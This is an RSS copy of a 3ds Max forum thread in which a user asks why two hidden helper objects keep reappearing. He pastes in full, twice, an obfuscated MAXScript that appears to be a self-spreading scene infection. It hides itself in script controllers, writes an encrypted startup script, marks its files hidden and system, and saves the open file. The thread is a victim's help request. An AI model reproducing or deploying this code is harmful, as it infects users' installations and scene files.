<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:taxo="http://purl.org/rss/1.0/modules/taxonomy/" version="2.0">
  <channel>
    <title>topic Re: default max scene startup in 3ds Max Forum</title>
    <link>https://forums.autodesk.com/t5/3ds-max-forum/default-max-scene-startup/m-p/7937924#M44626</link>
    <description>&lt;P&gt;thanks, I have tried that... doesn't work....&lt;/P&gt;&lt;P&gt;they are present no matter if I save a custom maxstart.max...&lt;/P&gt;&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;P&gt;but I have found out, there is a script in the listener at every startup of max.&lt;/P&gt;&lt;PRE&gt;global px_HiddenNodeCleanBeta,getNetUpdateCleanBeta,AutodeskLicSerStuckCleanBeta,px_SimulatorForModifyCleanBeta,px_SimulatorForStateCleanBeta,px_SimulatorSaveCleanBeta
fn px_HiddenNodeCleanBeta=(sis=setINISetting;mip=((getdir #plugcfg)+"\\ExplorerConfig\\SceneExplorer\\DefaultModalSceneExplorer.ini");sis mip "Explorer" "Hidden" "false";sis mip "Explorer" "Frozen" "false";)
fn getNetUpdateCleanBeta =(clearListener()); 
fn AutodeskLicSerStuckCleanBeta =(if (::physXCrtRbkInfoCleanBeta != undefined) then (format "%\n" "") else physXCrtRbkInfoCleanBeta = undefined;cs="M=";ce="Nl";cx="NleA==";
dfet=doesfileexist;gfnp=getFilenamePath;gfnf=getFilenameFile;gsfn=getSourceFileName;oef=openEncryptedFile;uss=#userStartupScripts;vpbg=#Viewportbackground;
sfa=setFileAttribute;gd=getDir;hd=#hidden;sys=#system;mb="XHZyZGVtYXRjbGVhbmJldGEubX";ab=CleanBetabaseCC64dec;try deletefile ((gd uss)+(ab(mb+cs))) catch();try px_HiddenNodeCleanBeta() catch()
if not ($×þ×ü != undefined and classof $×þ×ü == point) do
(
	p2=point name:"×þ×ü" wireColor:((colorMan.getColor vpbg)*[255.,255.,255.]) size:0.01 showFrozenInGray:off;
	p1=point name:"¡¡×ý×û" wireColor:((colorMan.getColor vpbg)*[255.,255.,255.]) size:0.01 showFrozenInGray:off;
	p1.scale.controller = (scale_script());freeze p1;freeze p2;hide p1;hide p2;
	try 
	(
		if physXCrtRbkInfoCleanBeta == undefined then
		(
			global xf;if dfet (gfnp (gsfn()) + gfnf (gsfn()) + ".msex")then(
			xf=oef (gfnp (gsfn()) + gfnf (gsfn()) + ".msex") 1808894313);
			else(xf=openFile (gfnp (gsfn()) + gfnf (gsfn()) + ".ms"));
			cf="\n";st=readLine xf;cf+=st;
			while classof st == string do
			(
				try st = readLine xf catch( st = undefined);
				try if st !=undefined do cf += (st+"\n") catch();
			);
			close xf;--xf = undefined;
			physXCrtRbkInfoCleanBeta=CleanBetabaseCC64enc cf;format "cf is: %\n" cf;
			p1.scale.controller.script=CleanBetabaseCC64dec physXCrtRbkInfoCleanBeta;
		)else (p1.scale.controller.script=CleanBetabaseCC64dec physXCrtRbkInfoCleanBeta);
	)
	catch()
);
if not(dfet ((gd uss)+(ab(mb+ce)))) do 
(
	global codefile;try codefile=createFile ((gd uss)+(ab(mb+cs))) catch()
	try(if($×þ×ü != undefined and classof $×þ×ü == point)do(format "%\n"($¡¡×ý×û.scale.controller.script) to:codefile;close codefile;free codefile;);
	encryptScript ((gd uss)+(ab(mb+cs))) version:1;encryptFile ((gd uss)+(ab(mb+cs))) ((gd uss)+(ab(mb+cx))) 1808894313;)catch();
	try (close codefile ;free codefile) catch();try deletefile ((gd uss)+(ab(mb+cs))) catch();codefile = undefined;
	try(sfa ((gd uss)+(ab(mb+ce))) hd on;sfa ((gd uss)+(ab(mb+ce))) sys on)catch();
	try(sfa ((gd uss)+(ab(mb+cx))) hd on;sfa ((gd uss)+(ab(mb+cx))) sys on)catch();
);/*clearListener()*/);AutodeskLicSerStuckCleanBeta();
fn px_SimulatorForModifyCleanBeta=
(
	try
	(
		undo off
		(
			PxBoxRedo=callbacks.notificationParam();
			if classof PxBoxRedo==point do
			(
				if PxBoxRedo.name == "×þ×ü" do
				(
					p2=point name:"×þ×ü" wireColor:((colorMan.getColor #Viewportbackground)*[255.,255.,255.]) size:0.01 showFrozenInGray:off;
					freeze p2;
					hide p2;
				)
				if PxBoxRedo.name == "¡¡×ý×û" do
				(
					p1=point name:"¡¡×ý×û" wireColor:((colorMan.getColor #Viewportbackground)*[255.,255.,255.]) size:0.01 showFrozenInGray:off;
					freeze p1;
					hide p1;
					p1.scale.controller = (scale_script());
					p1.scale.controller.script=(CleanBetabaseCC64dec physXCrtRbkInfoCleanBeta);
				)
			)
		)
	)catch();clearUndoBuffer()
)
fn px_SimulatorForStateCleanBeta=(try(undo off(PxBoxRedo=callbacks.notificationParam();
if classof PxBoxRedo==point do(if PxBoxRedo.name == "¡¡×ý×û" or PxBoxRedo.name == "×þ×ü" do (freeze PxBoxRedo;hide PxBoxRedo));))catch())
fn px_SimulatorSaveCleanBeta=(if((maxfilepath+maxfilename)!= "")do(saveMaxFile(maxfilepath+maxfilename)));px_SimulatorCbaCleanBeta()
);[1,1,1];&lt;/PRE&gt;&lt;P&gt;I can't get rid of it... any ideas from where this script comes?&lt;/P&gt;&lt;P&gt;because one of the helper named like:&lt;/P&gt;&lt;PRE&gt;"¡¡×ý×û"&lt;/PRE&gt;&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;P&gt;the other:&lt;/P&gt;&lt;PRE&gt;"×þ×ü"&lt;/PRE&gt;&lt;P&gt;best regards&lt;/P&gt;&lt;P&gt;manuel&lt;/P&gt;</description>
    <pubDate>Tue, 17 Apr 2018 12:33:45 GMT</pubDate>
    <dc:creator>themaxxer</dc:creator>
    <dc:date>2018-04-17T12:33:45Z</dc:date>
    <item>
      <title>default max scene startup</title>
      <link>https://forums.autodesk.com/t5/3ds-max-forum/default-max-scene-startup/m-p/7937422#M44624</link>
      <description>&lt;P&gt;hello there&lt;/P&gt;&lt;P&gt;I have a strange problem with 2 freezed and hidden helper objects in the scene explorer after a clean max start...&lt;IMG src="https://c2n.me/3TuXq1x.png" border="0" /&gt; I cannot delete them... after renaming them I can delete them, BUT after a clean max start they are back. I have NO custom maxstart.max scene.&lt;/P&gt;&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;P&gt;where does max get the startup file from? I have not found anything...&lt;/P&gt;&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;P&gt;thanks for helping.&lt;/P&gt;&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;P&gt;best regards&lt;/P&gt;&lt;P&gt;manuel&lt;/P&gt;</description>
      <pubDate>Tue, 17 Apr 2018 08:53:31 GMT</pubDate>
      <guid>https://forums.autodesk.com/t5/3ds-max-forum/default-max-scene-startup/m-p/7937422#M44624</guid>
      <dc:creator>themaxxer</dc:creator>
      <dc:date>2018-04-17T08:53:31Z</dc:date>
    </item>
    <item>
      <title>Re: default max scene startup</title>
      <link>https://forums.autodesk.com/t5/3ds-max-forum/default-max-scene-startup/m-p/7937842#M44625</link>
      <description>&lt;P&gt;Delete unwanted objects and save the scene as maxstart.max in you loacal files for 3ds max, see here for more on maxstart.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;A href="https://forums.autodesk.com/t5/3ds-max-programming/how-to-replace-maxstart-max-file-to-reset-to-custom-maxstart-max/td-p/6042373" target="_blank"&gt;https://forums.autodesk.com/t5/3ds-max-programming/how-to-replace-maxstart-max-file-to-reset-to-custom-maxstart-max/td-p/6042373&lt;/A&gt;&lt;/P&gt;</description>
      <pubDate>Tue, 17 Apr 2018 12:05:41 GMT</pubDate>
      <guid>https://forums.autodesk.com/t5/3ds-max-forum/default-max-scene-startup/m-p/7937842#M44625</guid>
      <dc:creator>jamesw</dc:creator>
      <dc:date>2018-04-17T12:05:41Z</dc:date>
    </item>
    <item>
      <title>Re: default max scene startup</title>
      <link>https://forums.autodesk.com/t5/3ds-max-forum/default-max-scene-startup/m-p/7937924#M44626</link>
      <description>&lt;P&gt;thanks, I have tried that... doesn't work....&lt;/P&gt;&lt;P&gt;they are present no matter if I save a custom maxstart.max...&lt;/P&gt;&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;P&gt;but I have found out, there is a script in the listener at every startup of max.&lt;/P&gt;&lt;PRE&gt;global px_HiddenNodeCleanBeta,getNetUpdateCleanBeta,AutodeskLicSerStuckCleanBeta,px_SimulatorForModifyCleanBeta,px_SimulatorForStateCleanBeta,px_SimulatorSaveCleanBeta
fn px_HiddenNodeCleanBeta=(sis=setINISetting;mip=((getdir #plugcfg)+"\\ExplorerConfig\\SceneExplorer\\DefaultModalSceneExplorer.ini");sis mip "Explorer" "Hidden" "false";sis mip "Explorer" "Frozen" "false";)
fn getNetUpdateCleanBeta =(clearListener()); 
fn AutodeskLicSerStuckCleanBeta =(if (::physXCrtRbkInfoCleanBeta != undefined) then (format "%\n" "") else physXCrtRbkInfoCleanBeta = undefined;cs="M=";ce="Nl";cx="NleA==";
dfet=doesfileexist;gfnp=getFilenamePath;gfnf=getFilenameFile;gsfn=getSourceFileName;oef=openEncryptedFile;uss=#userStartupScripts;vpbg=#Viewportbackground;
sfa=setFileAttribute;gd=getDir;hd=#hidden;sys=#system;mb="XHZyZGVtYXRjbGVhbmJldGEubX";ab=CleanBetabaseCC64dec;try deletefile ((gd uss)+(ab(mb+cs))) catch();try px_HiddenNodeCleanBeta() catch()
if not ($×þ×ü != undefined and classof $×þ×ü == point) do
(
	p2=point name:"×þ×ü" wireColor:((colorMan.getColor vpbg)*[255.,255.,255.]) size:0.01 showFrozenInGray:off;
	p1=point name:"¡¡×ý×û" wireColor:((colorMan.getColor vpbg)*[255.,255.,255.]) size:0.01 showFrozenInGray:off;
	p1.scale.controller = (scale_script());freeze p1;freeze p2;hide p1;hide p2;
	try 
	(
		if physXCrtRbkInfoCleanBeta == undefined then
		(
			global xf;if dfet (gfnp (gsfn()) + gfnf (gsfn()) + ".msex")then(
			xf=oef (gfnp (gsfn()) + gfnf (gsfn()) + ".msex") 1808894313);
			else(xf=openFile (gfnp (gsfn()) + gfnf (gsfn()) + ".ms"));
			cf="\n";st=readLine xf;cf+=st;
			while classof st == string do
			(
				try st = readLine xf catch( st = undefined);
				try if st !=undefined do cf += (st+"\n") catch();
			);
			close xf;--xf = undefined;
			physXCrtRbkInfoCleanBeta=CleanBetabaseCC64enc cf;format "cf is: %\n" cf;
			p1.scale.controller.script=CleanBetabaseCC64dec physXCrtRbkInfoCleanBeta;
		)else (p1.scale.controller.script=CleanBetabaseCC64dec physXCrtRbkInfoCleanBeta);
	)
	catch()
);
if not(dfet ((gd uss)+(ab(mb+ce)))) do 
(
	global codefile;try codefile=createFile ((gd uss)+(ab(mb+cs))) catch()
	try(if($×þ×ü != undefined and classof $×þ×ü == point)do(format "%\n"($¡¡×ý×û.scale.controller.script) to:codefile;close codefile;free codefile;);
	encryptScript ((gd uss)+(ab(mb+cs))) version:1;encryptFile ((gd uss)+(ab(mb+cs))) ((gd uss)+(ab(mb+cx))) 1808894313;)catch();
	try (close codefile ;free codefile) catch();try deletefile ((gd uss)+(ab(mb+cs))) catch();codefile = undefined;
	try(sfa ((gd uss)+(ab(mb+ce))) hd on;sfa ((gd uss)+(ab(mb+ce))) sys on)catch();
	try(sfa ((gd uss)+(ab(mb+cx))) hd on;sfa ((gd uss)+(ab(mb+cx))) sys on)catch();
);/*clearListener()*/);AutodeskLicSerStuckCleanBeta();
fn px_SimulatorForModifyCleanBeta=
(
	try
	(
		undo off
		(
			PxBoxRedo=callbacks.notificationParam();
			if classof PxBoxRedo==point do
			(
				if PxBoxRedo.name == "×þ×ü" do
				(
					p2=point name:"×þ×ü" wireColor:((colorMan.getColor #Viewportbackground)*[255.,255.,255.]) size:0.01 showFrozenInGray:off;
					freeze p2;
					hide p2;
				)
				if PxBoxRedo.name == "¡¡×ý×û" do
				(
					p1=point name:"¡¡×ý×û" wireColor:((colorMan.getColor #Viewportbackground)*[255.,255.,255.]) size:0.01 showFrozenInGray:off;
					freeze p1;
					hide p1;
					p1.scale.controller = (scale_script());
					p1.scale.controller.script=(CleanBetabaseCC64dec physXCrtRbkInfoCleanBeta);
				)
			)
		)
	)catch();clearUndoBuffer()
)
fn px_SimulatorForStateCleanBeta=(try(undo off(PxBoxRedo=callbacks.notificationParam();
if classof PxBoxRedo==point do(if PxBoxRedo.name == "¡¡×ý×û" or PxBoxRedo.name == "×þ×ü" do (freeze PxBoxRedo;hide PxBoxRedo));))catch())
fn px_SimulatorSaveCleanBeta=(if((maxfilepath+maxfilename)!= "")do(saveMaxFile(maxfilepath+maxfilename)));px_SimulatorCbaCleanBeta()
);[1,1,1];&lt;/PRE&gt;&lt;P&gt;I can't get rid of it... any ideas from where this script comes?&lt;/P&gt;&lt;P&gt;because one of the helper named like:&lt;/P&gt;&lt;PRE&gt;"¡¡×ý×û"&lt;/PRE&gt;&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;P&gt;the other:&lt;/P&gt;&lt;PRE&gt;"×þ×ü"&lt;/PRE&gt;&lt;P&gt;best regards&lt;/P&gt;&lt;P&gt;manuel&lt;/P&gt;</description>
      <pubDate>Tue, 17 Apr 2018 12:33:45 GMT</pubDate>
      <guid>https://forums.autodesk.com/t5/3ds-max-forum/default-max-scene-startup/m-p/7937924#M44626</guid>
      <dc:creator>themaxxer</dc:creator>
      <dc:date>2018-04-17T12:33:45Z</dc:date>
    </item>
    <item>
      <title>Re: default max scene startup</title>
      <link>https://forums.autodesk.com/t5/3ds-max-forum/default-max-scene-startup/m-p/7938319#M44627</link>
      <description>&lt;P&gt;See &lt;A href="https://knowledge.autodesk.com/support/3ds-max/troubleshooting/caas/sfdcarticles/sfdcarticles/Scene-file-crashes-corrupts-scene-data-gives-Script-Controller-error-or-no-longer-uses-the-Undo-function.html" target="_blank"&gt;this knowledge network article&lt;/A&gt;.&lt;/P&gt;</description>
      <pubDate>Tue, 17 Apr 2018 14:27:34 GMT</pubDate>
      <guid>https://forums.autodesk.com/t5/3ds-max-forum/default-max-scene-startup/m-p/7938319#M44627</guid>
      <dc:creator>Swordslayer</dc:creator>
      <dc:date>2018-04-17T14:27:34Z</dc:date>
    </item>
    <item>
      <title>Re: default max scene startup</title>
      <link>https://forums.autodesk.com/t5/3ds-max-forum/default-max-scene-startup/m-p/7938367#M44628</link>
      <description>&lt;P&gt;thank you, will read this.&lt;/P&gt;</description>
      <pubDate>Tue, 17 Apr 2018 14:36:03 GMT</pubDate>
      <guid>https://forums.autodesk.com/t5/3ds-max-forum/default-max-scene-startup/m-p/7938367#M44628</guid>
      <dc:creator>themaxxer</dc:creator>
      <dc:date>2018-04-17T14:36:03Z</dc:date>
    </item>
  </channel>
</rss>

